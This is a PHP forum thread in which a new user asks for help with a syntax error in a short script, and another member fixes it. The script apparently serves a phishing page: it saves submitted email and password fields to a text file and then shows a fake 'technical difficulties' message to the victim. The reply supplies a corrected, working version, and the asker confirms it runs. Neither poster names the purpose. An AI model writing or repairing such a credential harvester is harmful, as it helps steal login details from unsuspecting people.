Parse error: syntax error, unexpected T_STRING in /var/www/p

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
kishanodedra
Forum Newbie
Posts: 2
Joined: Sun Nov 21, 2010 4:24 pm

Parse error: syntax error, unexpected T_STRING in /var/www/p

Post by kishanodedra »

I am having difficulties with the following code:

<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = “info.txt”;
$fh = fopen($myFile, ‘a’) or die(“can’t open file”);
$stringData = “username: “.$email.” Password: “.$pass.”\n”;
fwrite($fh, $stringData);
fclose($fh);
echo “Sorry we are having technical dififcultys at the moment please try again later
?>

I am receiving a Syntax error on like 5, and i have no clue what to do I have tried looking for other posts but as I am not that good with PHP it is no help. Can someone please help me what the problem is. thank you
Neilos
Forum Contributor
Posts: 179
Joined: Fri Nov 19, 2010 2:07 am

Re: Parse error: syntax error, unexpected T_STRING in /var/w

Post by Neilos »

First I broke the code up so line 5 was spread across many lines and found that the error was in the;

Code: Select all

die(“can’t open file”);
Then I noticed that when I copied your code you had some funny double quotation marks ("). Changing these made a difference. Notice my coppied code and compare it to that above;

Code: Select all

die("can’t open file");
Also the last echo statement is missing "; at the end

I then get the error;

Code: Select all

Warning: fopen(info.txt) [function.fopen]: failed to open stream: Inappropriate ioctl for device in /blah/test.php on line 8
can’t open file
Which I assume is because I don't have that file to access it. If you do then I guess it should work.

Try this and let me know what you get.

Code: Select all

<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = "info.txt";
$fh = fopen($myFile, ‘a’) or die("can’t open file");
$stringData = "username: " . $email . " Password: " . $pass . "\n";
fwrite($fh, $stringData);
fclose($fh);
echo "Sorry we are having technical difficulties at the moment, please try again later.";
?>
kishanodedra
Forum Newbie
Posts: 2
Joined: Sun Nov 21, 2010 4:24 pm

Re: Parse error: syntax error, unexpected T_STRING in /var/w

Post by kishanodedra »

Hi,

Thanks for your help, I think i need more knowledge of PHP, but ye you was correct the " for some reason was of a different format, and I was missing a few other aspects, But finally I have it working, thanks much appreciated.
Post Reply